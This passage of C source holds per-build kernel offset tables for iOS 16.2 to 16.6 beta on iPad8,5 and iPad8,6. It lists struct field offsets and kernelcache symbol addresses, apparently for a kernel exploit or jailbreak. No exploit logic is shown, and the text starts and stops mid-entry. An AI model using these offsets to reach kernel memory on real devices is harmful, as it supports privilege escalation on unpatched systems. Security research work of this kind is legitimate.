.proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,6 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 